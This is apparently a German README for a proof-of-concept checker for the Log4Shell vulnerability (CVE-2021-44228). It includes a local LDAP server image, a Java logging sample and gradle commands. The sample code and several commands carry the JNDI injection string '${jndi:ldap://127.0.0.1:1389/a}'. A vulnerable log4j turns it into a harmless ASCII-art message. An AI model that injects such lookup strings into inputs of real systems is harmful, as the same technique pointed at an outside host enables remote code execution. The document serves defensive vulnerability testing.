
Schwachstellen-Checker für CVE-2021-44228
Dies ist das Repository zum Prüfen auf die Schwachstelle CVE-2021-44228.
Dies ist ein PoC, der nur Zeichenketten anzeigt, ohne externe Klassen zu laden. Er kann nicht zur Ausführung beliebigen Codes verwendet werden.
Das Image ghcr.io/greymd/cve-2021-44228/server ist verfügbar und kann mit Docker ausgeführt werden.
$ docker run -p 1389:1389 -t ghcr.io/greymd/cve-2021-44228/server
Bereiten Sie den Code vor, um mit log4j Logs auszugeben, und führen Sie ihn auf demselben Host aus.
Lassen Sie die Ausgabezeichenfolge ${jndi:ldap://127.0.0.1:1389/a} sein.
package logger;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class App {
private static final Logger logger = LogManager.getLogger(App.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://127.0.0.1:1389/a}");
}
}
Wenn das Argument eine Schwachstelle auslöst, wird der Ausdruck 「うんこもりもり」(so viel wie „Jede Menge Scheiße.") erfolgreich protokolliert.
17:52:24.871 [main] ERROR logger.App -
"mm
mmmm "m "mmmmm
"" # m" "
# m#m m
# m" # m "m m
m" m" "mm" """""
m m m m m m
mm# # # "m mm# # # "m
m"#" ## # m"#" ## #
""#mm "m # # ""#mm "m # #
# # # # # #
"mm" m" "mm" m"
Wenn Sie zu faul sind, eigenen Code zu schreiben und zu bauen, können Sie eine einfache Logger-Anwendung in diesem Repository verwenden. Das erste Argument wird vom Logger ausgegeben.
$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/logger
$ ./gradlew run --args='Hello'
︙
> Task :run
22:10:02.307 [main] ERROR logger.App - Hello
Ein Beispiel für die Übergabe eines Arguments, das eine Schwachstelle auslöst, sieht wie folgt aus.
$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'
︙
> Task :run
22:10:34.757 [main] ERROR logger.App -
"mm
mmmm "m "mmmmm
"" # m" "
# m#m m
# m" # m "m m
m" m" "mm" """""
m m m m m m
mm# # # "m mm# # # "m
m"#" ## # m"#" ## #
""#mm "m # # ""#mm "m # #
# # # # # #
"mm" m" "mm" m"
Wenn Sie eine log4j-Version haben, die NICHT von der Schwachstelle betroffen ist, oder die Serveranwendung nicht läuft, wird die Zeichenkette unverändert ausgegeben. Das können Sie überprüfen, indem Sie die Version der Logger-Anwendung wie unten gezeigt aktualisieren.
$ sed -i.bak s/2.14.1/2.15.0/ build.gradle
$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'
> Task :run
22:12:50.913 [main] ERROR logger.App - ${jndi:ldap://127.0.0.1:1389/a}
$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/server
$ ./gradlew run
︙
Listening ...
Wie ich bereits erwähnt habe (und soweit ich es untersucht habe), lässt sich diese Schwachstelle nicht reproduzieren, solange der Zielserver von JNDI nicht läuft. Daher ist ein einfacher PoC nützlich.
Die folgenden URLs wurden als Referenz für die Implementierung verwendet.
OpenJDK Runtime Environment (build 1.8.0_302-b08)OpenJDK Runtime Environment Corretto-11.0.12.7.1 (build 11.0.12+7-LTS)OpenJDK Runtime Environment Zulu17.30+15-CA (build 17.0.1+12-LTS)